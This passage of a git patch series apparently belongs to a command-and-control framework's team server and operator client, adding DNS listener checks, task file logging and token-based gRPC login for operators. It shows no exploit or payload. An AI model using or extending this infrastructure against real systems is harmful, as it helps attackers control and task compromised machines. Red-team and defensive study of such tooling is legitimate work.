std::ostringstream oss; + for (int i = 0; i < MD5_DIGEST_LENGTH; ++i) + oss << std::hex << std::setw(2) << std::setfill('0') << (int)result[i]; + + return oss.str(); +} + TeamServer::TeamServer(const nlohmann::json& config) : m_config(config) @@ -323,6 +341,27 @@ grpc::Status TeamServer::AddListener(grpc::ServerContext* context, const teamser return grpc::Status::OK; } } + else if (type == ListenerDnsType) + { + std::string domain = listenerToCreate->domain(); + int port = listenerToCreate->port(); + + // 🔸 Check if a DNS listener with the same domain and port already exists + auto existingDns = std::find_if( + m_listeners.begin(), + m_listeners.end(), + [&](std::shared_ptr& obj) { + return (obj->getType() == ListenerDnsType && + obj->getParam1() == domain && + obj->getParam2() == std::to_string(port)); + }); + + if (existingDns != m_listeners.end()) + { + m_logger->warn("Add listener failed: DNS listener already running on {0}:{1}", domain, std::to_string(port)); + return grpc::Status::OK; + } + } else { std::vector>::iterator object = @@ -344,7 +383,7 @@ grpc::Status TeamServer::AddListener(grpc::ServerContext* context, const teamser { int localPort = listenerToCreate->port(); string localHost = listenerToCreate->ip(); - std::shared_ptr listenerTcp = make_shared(localHost, localPort); + std::shared_ptr listenerTcp = make_shared(localHost, localPort, m_config); int ret = listenerTcp->init(); if (ret>0) { @@ -359,12 +398,10 @@ grpc::Status TeamServer::AddListener(grpc::ServerContext* context, const teamser } } else if (type == ListenerHttpType) - { - json configHttp = m_config["ListenerHttpConfig"]; - + { int localPort = listenerToCreate->port(); string localHost = listenerToCreate->ip(); - std::shared_ptr listenerHttp = make_shared(localHost, localPort, configHttp, false); + std::shared_ptr listenerHttp = make_shared(localHost, localPort, m_config, false); int ret = listenerHttp->init(); if (ret>0) { @@ -380,11 +417,9 @@ grpc::Status TeamServer::AddListener(grpc::ServerContext* context, const teamser } else if (type == ListenerHttpsType) { - json configHttps = m_config["ListenerHttpsConfig"]; - int localPort = listenerToCreate->port(); string localHost = listenerToCreate->ip(); - std::shared_ptr listenerHttps = make_shared(localHost, localPort, configHttps, true); + std::shared_ptr listenerHttps = make_shared(localHost, localPort, m_config, true); int ret = listenerHttps->init(); if (ret>0) { @@ -402,7 +437,7 @@ grpc::Status TeamServer::AddListener(grpc::ServerContext* context, const teamser { std::string token = listenerToCreate->token(); std::string project = listenerToCreate->project(); - std::shared_ptr listenerGithub = make_shared(project, token); + std::shared_ptr listenerGithub = make_shared(project, token, m_config); listenerGithub->setIsPrimary(); m_listeners.push_back(std::move(listenerGithub)); @@ -412,7 +447,7 @@ grpc::Status TeamServer::AddListener(grpc::ServerContext* context, const teamser { std::string domain = listenerToCreate->domain(); int port = listenerToCreate->port(); - std::shared_ptr listenerDns = make_shared(domain, port); + std::shared_ptr listenerDns = make_shared(domain, port, m_config); listenerDns->setIsPrimary(); m_listeners.push_back(std::move(listenerDns)); @@ -870,6 +905,22 @@ grpc::Status TeamServer::SendCmdToSession(grpc::ServerContext* context, const te // Set the uuid to track the message and correlate with the response to get a clean output in the client if(!c2Message.instruction().empty()) { + m_logger->info("Queued command for beacon {} → '{}'", beaconHash.substr(0, 8), input); + + std::string inputFile = c2Message.inputfile(); + const std::string& payload = c2Message.data(); + + if (!inputFile.empty() && !payload.empty()) + { + std::string md5 = computeBufferMd5(payload); + m_logger->info( + "File attached to task: '{}' | size={} bytes | MD5={}", + inputFile, + payload.size(), + md5 + ); + } + std::string uuid = generateUUID8(); c2Message.set_uuid(uuid); m_listeners[i]->queueTask(beaconHash, c2Message); From 0af87b7cfcfa0dbbb68191bdd8c1aa4691d54327 Mon Sep 17 00:00:00 2001 From: Maxime dcb <40819564+maxDcb@users.noreply.github.com> Date: Tue, 14 Oct 2025 14:14:30 +0200 Subject: [PATCH 06/11] Add token-based gRPC authentication --- C2Client/C2Client/grpcClient.py | 29 +- .../build/py/TeamServerApi_pb2.py | 46 ++-- .../build/py/TeamServerApi_pb2_grpc.py | 63 +++++ libs/libGrpcMessages/src/TeamServerApi.proto | 22 +- teamServer/teamServer/TeamServer.cpp | 257 ++++++++++++++++-- teamServer/teamServer/TeamServer.hpp | 21 +- teamServer/teamServer/TeamServerConfig.json | 1 + teamServer/teamServer/auth_credentials.json | 5 + 8 files changed, 391 insertions(+), 53 deletions(-) create mode 100644 teamServer/teamServer/auth_credentials.json diff --git a/C2Client/C2Client/grpcClient.py b/C2Client/C2Client/grpcClient.py index 7f85bf5..bed5e15 100644 --- a/C2Client/C2Client/grpcClient.py +++ b/C2Client/C2Client/grpcClient.py @@ -9,7 +9,7 @@ import logging import os import sys import uuid -from typing import Any, Iterable, List, Tuple +from typing import Any, Iterable, List, Tuple, Optional sys.path.append(os.path.dirname(os.path.abspath(__file__)) + '/libGrpcMessages/build/py/') @@ -36,7 +36,7 @@ class GrpcClient: Bearer token used for authentication metadata. """ - def __init__(self, ip: str, port: int, devMode: bool, token: str = "my-secret-token") -> None: + def __init__(self, ip: str, port: int, devMode: bool, token: Optional[str] = None) -> None: env_cert_path = os.getenv('C2_CERT_PATH') if env_cert_path and os.path.isfile(env_cert_path): @@ -91,11 +91,36 @@ class GrpcClient: raise ValueError("grpcClient: unable to connect") from exc self.stub = TeamServerApi_pb2_grpc.TeamServerApiStub(self.channel) + + if token is None: + username, password = self._load_credentials_from_env() + token = self._authenticate(username, password) + self.metadata: MetadataType = [ ("authorization", f"Bearer {token}"), ("clientid", str(uuid.uuid4())[:16]), ] + def _load_credentials_from_env(self) -> Tuple[str, str]: + username = os.getenv("C2_USERNAME") + password = os.getenv("C2_PASSWORD") + if not username or not password: + raise ValueError( + "grpcClient: missing C2_USERNAME or C2_PASSWORD environment variables for authentication", + ) + return username, password + + def _authenticate(self, username: str, password: str) -> str: + request = TeamServerApi_pb2.AuthRequest(username=username, password=password) + response = self.stub.Authenticate(request) + if response.status != TeamServerApi_pb2.OK or not response.token: + message = response.message or "unknown authentication error" + logging.error("Authentication failed for user %s: %s", username, message) + raise ValueError(f"grpcClient: authentication failed: {message}") + + logging.info("Authenticated against TeamServer as %s", username) + return response.token + def getListeners(self) -> Any: """Return the list of listeners registered on the TeamServer.""" diff --git a/C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2.py b/C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2.py index 778c2db..449d77c 100644 --- a/C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2.py +++ b/C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2.py @@ -2,7 +2,7 @@ # Generated by the protocol buffer compiler. DO NOT EDIT! # NO CHECKED-IN PROTOBUF GENCODE # source: TeamServerApi.proto -# Protobuf Python Version: 5.27.0 +# Protobuf Python Version: 6.31.1 """Generated protocol buffer code.""" from google.protobuf import descriptor as _descriptor from google.protobuf import descriptor_pool as _descriptor_pool @@ -11,9 +11,9 @@ from google.protobuf import symbol_database as _symbol_database from google.protobuf.internal import builder as _builder _runtime_version.ValidateProtobufRuntimeVersion( _runtime_version.Domain.PUBLIC, - 5, - 27, - 0, + 6, + 31, + 1, '', 'TeamServerApi.proto' ) @@ -24,29 +24,33 @@ _sym_db = _symbol_database.Default() -DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x13TeamServerApi.proto\x12\rteamserverapi\"\x07\n\x05\x45mpty\"B\n\x08Response\x12%\n\x06status\x18\x01 \x01(\x0e\x32\x15.teamserverapi.Status\x12\x0f\n\x07message\x18\x02 \x01(\x0c\"\xa5\x01\n\x08Listener\x12\x14\n\x0clistenerHash\x18\x01 \x01(\t\x12\x0c\n\x04type\x18\x02 \x01(\t\x12\x0c\n\x04port\x18\x03 \x01(\x05\x12\n\n\x02ip\x18\x04 \x01(\t\x12\x0f\n\x07project\x18\x06 \x01(\t\x12\r\n\x05token\x18\x07 \x01(\t\x12\x0e\n\x06\x64omain\x18\x08 \x01(\t\x12\x17\n\x0fnumberOfSession\x18\x05 \x01(\x05\x12\x12\n\nbeaconHash\x18\t \x01(\t\"\xf4\x01\n\x07Session\x12\x12\n\nbeaconHash\x18\x01 \x01(\t\x12\x14\n\x0clistenerHash\x18\x02 \x01(\t\x12\x10\n\x08hostname\x18\x03 \x01(\t\x12\x10\n\x08username\x18\x04 \x01(\t\x12\x0c\n\x04\x61rch\x18\x05 \x01(\t\x12\x11\n\tprivilege\x18\x06 \x01(\t\x12\n\n\x02os\x18\x07 \x01(\t\x12\x17\n\x0flastProofOfLife\x18\x08 \x01(\t\x12\x0e\n\x06killed\x18\t \x01(\x08\x12\x13\n\x0binternalIps\x18\n \x01(\t\x12\x11\n\tprocessId\x18\x0b \x01(\t\x12\x1d\n\x15\x61\x64\x64itionalInformation\x18\x0c \x01(\t\"@\n\x07\x43ommand\x12\x12\n\nbeaconHash\x18\x01 \x01(\t\x12\x14\n\x0clistenerHash\x18\x02 \x01(\t\x12\x0b\n\x03\x63md\x18\x03 \x01(\t\"Y\n\x0f\x43ommandResponse\x12\x12\n\nbeaconHash\x18\x01 \x01(\t\x12\x13\n\x0binstruction\x18\x02 \x01(\t\x12\x0b\n\x03\x63md\x18\x03 \x01(\t\x12\x10\n\x08response\x18\x04 \x01(\x0c\"8\n\x0bTermCommand\x12\x0b\n\x03\x63md\x18\x01 \x01(\t\x12\x0e\n\x06result\x18\x02 \x01(\t\x12\x0c\n\x04\x64\x61ta\x18\x03 \x01(\x0c*\x18\n\x06Status\x12\x06\n\x02OK\x10\x00\x12\x06\n\x02KO\x10\x01\x32\x87\x05\n\rTeamServerApi\x12\x41\n\x0cGetListeners\x12\x14.teamserverapi.Empty\x1a\x17.teamserverapi.Listener\"\x00\x30\x01\x12\x41\n\x0b\x41\x64\x64Listener\x12\x17.teamserverapi.Listener\x1a\x17.teamserverapi.Response\"\x00\x12\x42\n\x0cStopListener\x12\x17.teamserverapi.Listener\x1a\x17.teamserverapi.Response\"\x00\x12?\n\x0bGetSessions\x12\x14.teamserverapi.Empty\x1a\x16.teamserverapi.Session\"\x00\x30\x01\x12@\n\x0bStopSession\x12\x16.teamserverapi.Session\x1a\x17.teamserverapi.Response\"\x00\x12\x43\n\x07GetHelp\x12\x16.teamserverapi.Command\x1a\x1e.teamserverapi.CommandResponse\"\x00\x12\x45\n\x10SendCmdToSession\x12\x16.teamserverapi.Command\x1a\x17.teamserverapi.Response\"\x00\x12T\n\x16GetResponseFromSession\x12\x16.teamserverapi.Session\x1a\x1e.teamserverapi.CommandResponse\"\x00\x30\x01\x12G\n\x0bSendTermCmd\x12\x1a.teamserverapi.TermCommand\x1a\x1a.teamserverapi.TermCommand\"\x00\x62\x06proto3') +DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x13TeamServerApi.proto\x12\rteamserverapi\"\x07\n\x05\x45mpty\"1\n\x0b\x41uthRequest\x12\x10\n\x08username\x18\x01 \x01(\t\x12\x10\n\x08password\x18\x02 \x01(\t\"U\n\x0c\x41uthResponse\x12%\n\x06status\x18\x01 \x01(\x0e\x32\x15.teamserverapi.Status\x12\r\n\x05token\x18\x02 \x01(\t\x12\x0f\n\x07message\x18\x03 \x01(\t\"B\n\x08Response\x12%\n\x06status\x18\x01 \x01(\x0e\x32\x15.teamserverapi.Status\x12\x0f\n\x07message\x18\x02 \x01(\x0c\"\xa5\x01\n\x08Listener\x12\x14\n\x0clistenerHash\x18\x01 \x01(\t\x12\x0c\n\x04type\x18\x02 \x01(\t\x12\x0c\n\x04port\x18\x03 \x01(\x05\x12\n\n\x02ip\x18\x04 \x01(\t\x12\x0f\n\x07project\x18\x06 \x01(\t\x12\r\n\x05token\x18\x07 \x01(\t\x12\x0e\n\x06\x64omain\x18\x08 \x01(\t\x12\x17\n\x0fnumberOfSession\x18\x05 \x01(\x05\x12\x12\n\nbeaconHash\x18\t \x01(\t\"\xf4\x01\n\x07Session\x12\x12\n\nbeaconHash\x18\x01 \x01(\t\x12\x14\n\x0clistenerHash\x18\x02 \x01(\t\x12\x10\n\x08hostname\x18\x03 \x01(\t\x12\x10\n\x08username\x18\x04 \x01(\t\x12\x0c\n\x04\x61rch\x18\x05 \x01(\t\x12\x11\n\tprivilege\x18\x06 \x01(\t\x12\n\n\x02os\x18\x07 \x01(\t\x12\x17\n\x0flastProofOfLife\x18\x08 \x01(\t\x12\x0e\n\x06killed\x18\t \x01(\x08\x12\x13\n\x0binternalIps\x18\n \x01(\t\x12\x11\n\tprocessId\x18\x0b \x01(\t\x12\x1d\n\x15\x61\x64\x64itionalInformation\x18\x0c \x01(\t\"@\n\x07\x43ommand\x12\x12\n\nbeaconHash\x18\x01 \x01(\t\x12\x14\n\x0clistenerHash\x18\x02 \x01(\t\x12\x0b\n\x03\x63md\x18\x03 \x01(\t\"Y\n\x0f\x43ommandResponse\x12\x12\n\nbeaconHash\x18\x01 \x01(\t\x12\x13\n\x0binstruction\x18\x02 \x01(\t\x12\x0b\n\x03\x63md\x18\x03 \x01(\t\x12\x10\n\x08response\x18\x04 \x01(\x0c\"8\n\x0bTermCommand\x12\x0b\n\x03\x63md\x18\x01 \x01(\t\x12\x0e\n\x06result\x18\x02 \x01(\t\x12\x0c\n\x04\x64\x61ta\x18\x03 \x01(\x0c*\x18\n\x06Status\x12\x06\n\x02OK\x10\x00\x12\x06\n\x02KO\x10\x01\x32\xd2\x05\n\rTeamServerApi\x12I\n\x0c\x41uthenticate\x12\x1a.teamserverapi.AuthRequest\x1a\x1b.teamserverapi.AuthResponse\"\x00\x12\x41\n\x0cGetListeners\x12\x14.teamserverapi.Empty\x1a\x17.teamserverapi.Listener\"\x00\x30\x01\x12\x41\n\x0b\x41\x64\x64Listener\x12\x17.teamserverapi.Listener\x1a\x17.teamserverapi.Response\"\x00\x12\x42\n\x0cStopListener\x12\x17.teamserverapi.Listener\x1a\x17.teamserverapi.Response\"\x00\x12?\n\x0bGetSessions\x12\x14.teamserverapi.Empty\x1a\x16.teamserverapi.Session\"\x00\x30\x01\x12@\n\x0bStopSession\x12\x16.teamserverapi.Session\x1a\x17.teamserverapi.Response\"\x00\x12\x43\n\x07GetHelp\x12\x16.teamserverapi.Command\x1a\x1e.teamserverapi.CommandResponse\"\x00\x12\x45\n\x10SendCmdToSession\x12\x16.teamserverapi.Command\x1a\x17.teamserverapi.Response\"\x00\x12T\n\x16GetResponseFromSession\x12\x16.teamserverapi.Session\x1a\x1e.teamserverapi.CommandResponse\"\x00\x30\x01\x12G\n\x0bSendTermCmd\x12\x1a.teamserverapi.TermCommand\x1a\x1a.teamserverapi.TermCommand\"\x00\x62\x06proto3') _globals = globals() _builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, _globals) _builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'TeamServerApi_pb2', _globals) if not _descriptor._USE_C_DESCRIPTORS: DESCRIPTOR._loaded_options = None - _globals['_STATUS']._serialized_start=745 - _globals['_STATUS']._serialized_end=769 + _globals['_STATUS']._serialized_start=883 + _globals['_STATUS']._serialized_end=907 _globals['_EMPTY']._serialized_start=38 _globals['_EMPTY']._serialized_end=45 - _globals['_RESPONSE']._serialized_start=47 - _globals['_RESPONSE']._serialized_end=113 - _globals['_LISTENER']._serialized_start=116 - _globals['_LISTENER']._serialized_end=281 - _globals['_SESSION']._serialized_start=284 - _globals['_SESSION']._serialized_end=528 - _globals['_COMMAND']._serialized_start=530 - _globals['_COMMAND']._serialized_end=594 - _globals['_COMMANDRESPONSE']._serialized_start=596 - _globals['_COMMANDRESPONSE']._serialized_end=685 - _globals['_TERMCOMMAND']._serialized_start=687 - _globals['_TERMCOMMAND']._serialized_end=743 - _globals['_TEAMSERVERAPI']._serialized_start=772 - _globals['_TEAMSERVERAPI']._serialized_end=1419 + _globals['_AUTHREQUEST']._serialized_start=47 + _globals['_AUTHREQUEST']._serialized_end=96 + _globals['_AUTHRESPONSE']._serialized_start=98 + _globals['_AUTHRESPONSE']._serialized_end=183 + _globals['_RESPONSE']._serialized_start=185 + _globals['_RESPONSE']._serialized_end=251 + _globals['_LISTENER']._serialized_start=254 + _globals['_LISTENER']._serialized_end=419 + _globals['_SESSION']._serialized_start=422 + _globals['_SESSION']._serialized_end=666 + _globals['_COMMAND']._serialized_start=668 + _globals['_COMMAND']._serialized_end=732 + _globals['_COMMANDRESPONSE']._serialized_start=734 + _globals['_COMMANDRESPONSE']._serialized_end=823 + _globals['_TERMCOMMAND']._serialized_start=825 + _globals['_TERMCOMMAND']._serialized_end=881 + _globals['_TEAMSERVERAPI']._serialized_start=910 + _globals['_TEAMSERVERAPI']._serialized_end=1632 # @@protoc_insertion_point(module_scope) diff --git a/C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2_grpc.py b/C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2_grpc.py index ac15b06..e9ab117 100644 --- a/C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2_grpc.py +++ b/C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2_grpc.py @@ -1,9 +1,29 @@ # Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT! """Client and server classes corresponding to protobuf-defined services.""" import grpc +import warnings import TeamServerApi_pb2 as TeamServerApi__pb2 +GRPC_GENERATED_VERSION = '1.75.1' +GRPC_VERSION = grpc.__version__ +_version_not_supported = False + +try: + from grpc._utilities import first_version_is_lower + _version_not_supported = first_version_is_lower(GRPC_VERSION, GRPC_GENERATED_VERSION) +except ImportError: + _version_not_supported = True + +if _version_not_supported: + raise RuntimeError( + f'The grpc package installed is at version {GRPC_VERSION},' + + f' but the generated code in TeamServerApi_pb2_grpc.py depends on' + + f' grpcio>={GRPC_GENERATED_VERSION}.' + + f' Please upgrade your grpc module to grpcio>={GRPC_GENERATED_VERSION}' + + f' or downgrade your generated code using grpcio-tools<={GRPC_VERSION}.' + ) + class TeamServerApiStub(object): """Interface exported by the server. @@ -15,6 +35,11 @@ class TeamServerApiStub(object): Args: channel: A grpc.Channel. """ + self.Authenticate = channel.unary_unary( + '/teamserverapi.TeamServerApi/Authenticate', + request_serializer=TeamServerApi__pb2.AuthRequest.SerializeToString, + response_deserializer=TeamServerApi__pb2.AuthResponse.FromString, + _registered_method=True) self.GetListeners = channel.unary_stream( '/teamserverapi.TeamServerApi/GetListeners', request_serializer=TeamServerApi__pb2.Empty.SerializeToString, @@ -66,6 +91,12 @@ class TeamServerApiServicer(object): """Interface exported by the server. """ + def Authenticate(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + def GetListeners(self, request, context): """Missing associated documentation comment in .proto file.""" context.set_code(grpc.StatusCode.UNIMPLEMENTED) @@ -123,6 +154,11 @@ class TeamServerApiServicer(object): def add_TeamServerApiServicer_to_server(servicer, server): rpc_method_handlers = { + 'Authenticate': grpc.unary_unary_rpc_method_handler( + servicer.Authenticate, + request_deserializer=TeamServerApi__pb2.AuthRequest.FromString, + response_serializer=TeamServerApi__pb2.AuthResponse.SerializeToString, + ), 'GetListeners': grpc.unary_stream_rpc_method_handler( servicer.GetListeners, request_deserializer=TeamServerApi__pb2.Empty.FromString, @@ -180,6 +216,33 @@ class TeamServerApi(object): """Interface exported by the server. """ + @staticmethod + def Authenticate(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary( + request, + target, + '/teamserverapi.TeamServerApi/Authenticate', + TeamServerApi__pb2.AuthRequest.SerializeToString, + TeamServerApi__pb2.AuthResponse.FromString, + options, + channel_credentials, + insecure, + call_credentials, + compression, + wait_for_ready, + timeout, + metadata, + _registered_method=True) + @staticmethod def GetListeners(request, target, diff --git a/libs/libGrpcMessages/src/TeamServerApi.proto b/libs/libGrpcMessages/src/TeamServerApi.proto index 9496078..8d92621 100644 --- a/libs/libGrpcMessages/src/TeamServerApi.proto +++ b/libs/libGrpcMessages/src/TeamServerApi.proto @@ -4,8 +4,9 @@ package teamserverapi; // Interface exported by the server. -service TeamServerApi +service TeamServerApi { + rpc Authenticate(AuthRequest) returns (AuthResponse) {} rpc GetListeners(Empty) returns (stream Listener) {} rpc AddListener(Listener) returns (Response) {} rpc StopListener(Listener) returns (Response) {} @@ -21,12 +22,27 @@ service TeamServerApi } -message Empty +message Empty { } -enum Status +message AuthRequest +{ + string username = 1; + string password = 2; +} + + +message AuthResponse +{ + Status status = 1; + string token = 2; + string message = 3; +} + + +enum Status { OK = 0; KO = 1; diff --git a/teamServer/teamServer/TeamServer.cpp b/teamServer/teamServer/TeamServer.cpp index 9b38407..493b84e 100644 --- a/teamServer/teamServer/TeamServer.cpp +++ b/teamServer/teamServer/TeamServer.cpp @@ -8,6 +8,7 @@ #include #include #include +#include #include using namespace std; @@ -77,10 +78,100 @@ static std::string computeBufferMd5(const std::string& buffer) } -TeamServer::TeamServer(const nlohmann::json& config) +std::string TeamServer::generateToken() const +{ + static constexpr char charset[] = + "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; + + std::random_device rd; + std::mt19937 generator(rd()); + std::uniform_int_distribution distribution(0, sizeof(charset) - 2); + + std::string token(64, '\0'); + for (auto& ch : token) + { + ch = charset[distribution(generator)]; + } + + return token; +} + + +void TeamServer::cleanupExpiredTokens() +{ + if (!m_authEnabled) + return; + + const auto now = std::chrono::steady_clock::now(); + std::lock_guard lock(m_authMutex); + for (auto it = m_activeTokens.begin(); it != m_activeTokens.end();) + { + if (now >= it->second) + { + it = m_activeTokens.erase(it); + } + else + { + ++it; + } + } +} + + +grpc::Status TeamServer::ensureAuthenticated(grpc::ServerContext* context) +{ + if (!m_authEnabled) + return grpc::Status::OK; + + const auto& metadata = context->client_metadata(); + auto metadataIt = metadata.find("authorization"); + if (metadataIt == metadata.end()) + { + m_logger->warn("gRPC request rejected: missing authorization metadata"); + return grpc::Status(grpc::StatusCode::UNAUTHENTICATED, "Missing authorization metadata"); + } + + std::string authHeader(metadataIt->second.data(), metadataIt->second.length()); + static const std::string prefix = "Bearer "; + if (authHeader.rfind(prefix, 0) != 0) + { + m_logger->warn("gRPC request rejected: malformed authorization header"); + return grpc::Status(grpc::StatusCode::UNAUTHENTICATED, "Malformed authorization header"); + } + + std::string token = authHeader.substr(prefix.size()); + + std::lock_guard lock(m_authMutex); + auto now = std::chrono::steady_clock::now(); + auto tokenIt = m_activeTokens.find(token); + if (tokenIt == m_activeTokens.end()) + { + m_logger->warn("gRPC request rejected: invalid token presented"); + return grpc::Status(grpc::StatusCode::UNAUTHENTICATED, "Invalid token"); + } + + if (now >= tokenIt->second) + { + m_logger->warn("gRPC request rejected: expired token presented"); + m_activeTokens.erase(tokenIt); + return grpc::Status(grpc::StatusCode::UNAUTHENTICATED, "Token expired"); + } + + tokenIt->second = now + m_tokenValidityDuration; + + return grpc::Status::OK; +} + + +TeamServer::TeamServer(const nlohmann::json& config) : m_config(config) , m_isSocksServerRunning(false) , m_isSocksServerBinded(false) +, m_authCredentialsFile("") +, m_expectedUsername("") +, m_expectedPassword("") +, m_authEnabled(false) +, m_tokenValidityDuration(std::chrono::minutes(60)) { // Logger std::vector sinks; @@ -118,12 +209,55 @@ TeamServer::TeamServer(const nlohmann::json& config) m_windowsModulesDirectoryPath = config["WindowsModulesDirectoryPath"].get(); m_linuxBeaconsDirectoryPath = config["LinuxBeaconsDirectoryPath"].get(); m_windowsBeaconsDirectoryPath = config["WindowsBeaconsDirectoryPath"].get(); - m_toolsDirectoryPath = config["ToolsDirectoryPath"].get(); - m_scriptsDirectoryPath = config["ScriptsDirectoryPath"].get(); + m_toolsDirectoryPath = config["ToolsDirectoryPath"].get(); + m_scriptsDirectoryPath = config["ScriptsDirectoryPath"].get(); - fs::path checkPath = m_teamServerModulesDirectoryPath; - if (!fs::exists(checkPath)) - m_logger->error("TeamServer modules directory path don't exist: {0}", m_teamServerModulesDirectoryPath.c_str()); + auto authFileIt = config.find("AuthCredentialsFile"); + if (authFileIt != config.end() && authFileIt->is_string()) + { + m_authCredentialsFile = authFileIt->get(); + std::ifstream authFile(m_authCredentialsFile); + if (authFile.good()) + { + try + { + json authConfig = json::parse(authFile); + m_expectedUsername = authConfig.value("username", std::string()); + m_expectedPassword = authConfig.value("password", std::string()); + int ttlMinutes = authConfig.value("token_ttl_minutes", static_cast(m_tokenValidityDuration.count())); + if (ttlMinutes > 0) + { + m_tokenValidityDuration = std::chrono::minutes(ttlMinutes); + } + + if (!m_expectedUsername.empty() && !m_expectedPassword.empty()) + { + m_authEnabled = true; + m_logger->info("Authentication enabled using credentials file: {0}", m_authCredentialsFile); + } + else + { + m_logger->error("Authentication credential file {0} is missing username or password entries.", m_authCredentialsFile); + } + } + catch (const std::exception& ex) + { + m_logger->error("Failed to parse authentication credential file {0}: {1}", m_authCredentialsFile, ex.what()); + } + } + else + { + m_logger->critical("Authentication credential file not found: {0}", m_authCredentialsFile); + } + } + else + { + m_logger->warn("AuthCredentialsFile entry missing from configuration. gRPC authentication is disabled."); + } + + fs::path checkPath = m_teamServerModulesDirectoryPath; + if (!fs::exists(checkPath)) + m_logger->error("TeamServer modules directory path don't exist: {0}", m_teamServerModulesDirectoryPath.c_str()); checkPath = m_linuxModulesDirectoryPath; if (!fs::exists(checkPath)) @@ -226,12 +360,51 @@ TeamServer::TeamServer(const nlohmann::json& config) TeamServer::~TeamServer() { - m_handleCmdResponseThreadRuning = false; - m_handleCmdResponseThread->join(); + m_handleCmdResponseThreadRuning = false; + m_handleCmdResponseThread->join(); - m_isSocksServerBinded=false; - if(m_socksThread) - m_socksThread->join(); + m_isSocksServerBinded=false; + if(m_socksThread) + m_socksThread->join(); +} + + +grpc::Status TeamServer::Authenticate(grpc::ServerContext* context, const teamserverapi::AuthRequest* request, teamserverapi::AuthResponse* response) +{ + (void)context; + + if (!m_authEnabled) + { + response->set_status(teamserverapi::KO); + response->set_message("Authentication is not configured on the server"); + return grpc::Status::OK; + } + + cleanupExpiredTokens(); + + const std::string& username = request->username(); + const std::string& password = request->password(); + + if (username != m_expectedUsername || password != m_expectedPassword) + { + response->set_status(teamserverapi::KO); + response->set_message("Invalid credentials"); + m_logger->warn("Authentication failed for user '{}'", username); + return grpc::Status::OK; + } + + std::string token = generateToken(); + { + std::lock_guard lock(m_authMutex); + m_activeTokens[token] = std::chrono::steady_clock::now() + m_tokenValidityDuration; + } + + response->set_status(teamserverapi::OK); + response->set_token(token); + response->set_message("Authentication successful"); + m_logger->info("User '{}' authenticated successfully", username); + + return grpc::Status::OK; } @@ -239,10 +412,14 @@ TeamServer::~TeamServer() // and from listeners runing on beacon through sessionListener grpc::Status TeamServer::GetListeners(grpc::ServerContext* context, const teamserverapi::Empty* empty, grpc::ServerWriter* writer) { - m_logger->trace("GetListeners"); + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; - for (int i = 0; i < m_listeners.size(); i++) - { + m_logger->trace("GetListeners"); + + for (int i = 0; i < m_listeners.size(); i++) + { // For each primary listeners get the informations teamserverapi::Listener listener; listener.set_listenerhash(m_listeners[i]->getListenerHash()); @@ -322,8 +499,12 @@ grpc::Status TeamServer::GetListeners(grpc::ServerContext* context, const teamse // To add a listener to a beacon the process it to send a command to the beacon grpc::Status TeamServer::AddListener(grpc::ServerContext* context, const teamserverapi::Listener* listenerToCreate, teamserverapi::Response* response) { - m_logger->trace("AddListener"); - string type = listenerToCreate->type(); + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; + + m_logger->trace("AddListener"); + string type = listenerToCreate->type(); // check if the listener already existe if (type == ListenerGithubType) @@ -478,7 +659,11 @@ std::string generateUUID8() grpc::Status TeamServer::StopListener(grpc::ServerContext* context, const teamserverapi::Listener* listenerToStop, teamserverapi::Response* response) { - m_logger->trace("StopListener"); + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; + + m_logger->trace("StopListener"); // Stop primary listener std::string listenerHash=listenerToStop->listenerhash(); @@ -604,7 +789,11 @@ bool TeamServer::isListenerAlive(const std::string& listenerHash) // Primary listers old all the information about beacons linked to themeself and linked to beacon listerners grpc::Status TeamServer::GetSessions(grpc::ServerContext* context, const teamserverapi::Empty* empty, grpc::ServerWriter* writer) { - m_logger->trace("GetSessions"); + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; + + m_logger->trace("GetSessions"); for (int i = 0; i < m_listeners.size(); i++) { @@ -646,7 +835,11 @@ grpc::Status TeamServer::GetSessions(grpc::ServerContext* context, const teamser grpc::Status TeamServer::StopSession(grpc::ServerContext* context, const teamserverapi::Session* sessionToStop, teamserverapi::Response* response) { - m_logger->trace("StopSession"); + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; + + m_logger->trace("StopSession"); std::string beaconHash=sessionToStop->beaconhash(); std::string listenerHash=sessionToStop->listenerhash(); @@ -867,9 +1060,13 @@ void TeamServer::socksThread() grpc::Status TeamServer::SendCmdToSession(grpc::ServerContext* context, const teamserverapi::Command* command, teamserverapi::Response* response) { - m_logger->trace("SendCmdToSession"); + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; - std::string input = command->cmd(); + m_logger->trace("SendCmdToSession"); + + std::string input = command->cmd(); std::string beaconHash = command->beaconhash(); std::string listenerHash = command->listenerhash(); @@ -1050,7 +1247,11 @@ int TeamServer::handleCmdResponse() grpc::Status TeamServer::GetResponseFromSession(grpc::ServerContext* context, const teamserverapi::Session* session, grpc::ServerWriter* writer) { - m_logger->trace("GetResponseFromSession"); + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; + + m_logger->trace("GetResponseFromSession"); std::string targetSession=session->beaconhash(); @@ -1103,7 +1304,11 @@ const std::string HelpCmd = 